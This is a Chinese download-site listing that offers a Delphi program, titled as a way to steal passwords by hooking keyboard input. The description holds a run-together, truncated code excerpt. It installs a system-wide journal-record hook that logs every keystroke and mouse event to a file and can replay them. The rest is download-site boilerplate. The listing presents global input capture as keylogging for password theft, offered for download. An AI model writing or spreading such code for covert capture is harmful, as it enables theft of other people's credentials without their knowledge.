文件名称:
Hook怎样获取Keyboard资料——盗取密码
开发工具:
文件大小: 345kb
下载次数: 0
上传时间: 2015-09-19
详细说明： function PlayProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall; begin canPlay:=1; Result:=0; if iCode<0 then Result:=CallNextHookEx(hPlay,iCode,wParam,lParam) else if iCode=HC_SYSMODALON then canPlay:=0 else if ((canPlay=1) and (iCode=HC_GETNEXT)) then begin if bDelay then begin bDelay:=False; Result:=50; end; // pEventMSG(lParam)^:=EventArr[PlayLog]; pEventMSG(lParam)^:=EvArr.EventArr[PlayLog]; end else if((canPlay=1) and (iCode=HC_SKIP)) then begin bDela y:=True; PlayLog:=PlayLog+1; end; // if PlayLog>=EventLogs then begin // UNHookWindowsHookEx(hPlay); if PlayLog >= EvArr.EventLogs then begin InitEventArrs(EvArr); if ReadEventArrs(EvArr,fHan) then PlayLog:=0 else begin UNHookWindowsHookEx(hPlay); CloseFileEventArrs(fHan); SendMessage(AppHandle,SANCLK,100,0); end; end; end; function HookProc(iCode: Integer;wParam: wParam;lParam: lParam):LRESULT;stdcall; begin recOK:=1; Result:=0; if iCode<0 then Result:=CallNextHookEx(hHook,iCode,wParam,lParam) else if iCode=HC_SYSMODALON then recOK:=0 else if iCode=HC_SYSMODALOFF then recOK:=1 else if ((recOK>0) and (iCode=HC_ACTION)) then begin // EventArr[EventLogs]:=pEventMSG(lParam)^; // EventLogs:=EventLogs+1; InsertEventArrs(EvArr,pEventMSG(lParam)^); // if EventLogs>=1000 then begin // UnHookWindowsHookEx(hHook); if EvArr.EventLogs >= 1000 then begin WriteEventArrs(EvArr,fHan); InitEventArrs(EvArr); end; end; end; procedure TForm1.Button1Click(Sender: TObject); begin fHan := CreateFileEventArrs(EdtFN.Text); if fHan>0 then begin InitEventArrs(EvArr); // EventLogs:=0; hHook:=SetWindowsHookEx(WH_JOURNALRECORD,HookProc,HInstance,0); Button2.Enabled:=True; Button1.Enabled:=False; end; end; procedure TForm1.Button2Click(Sender: TObject); begin UnHookWindowsHookEx(hHook); hHook:=0; WriteEventArrs(EvArr,fHan); CloseFileEventArrs(fHan); Button1.Enabled:=True; Button2.Enabled:=False; Button3.Enabled:=True; end; procedure TForm1.Button3Click(Sender: TObject); begin fHan := OpenFileEventArrs(EdtFN.Text); if fHan>0 then begin InitEventArrs(EvArr); ReadEventArrs(EvArr,fHan); PlayLog:=0; ...展开收缩
(系统自动生成,下载前可以参看下载内容)
下载文件列表
相关说明
- 本站资源为会员上传分享交流与学习,如有侵犯您的权益,请联系我们删除.
- 本站是交换下载平台，提供交流渠道，下载内容来自于网络，除下载问题外，其它问题请自行百度。
- 本站已设置防盗链，请勿用迅雷、QQ旋风等多线程下载软件下载资源，下载后用WinRAR最新版进行解压.
- 如果您发现内容无法下载，请稍后再次尝试；或者到消费记录里找到下载记录反馈给我们.
- 下载后发现下载的内容跟说明不相乎，请到消费记录里找到下载记录反馈给我们，经确认后退回积分.
- 如下载前有疑问，可以通过点击"提供者"的名字，查看对方的联系方式，联系对方咨询.
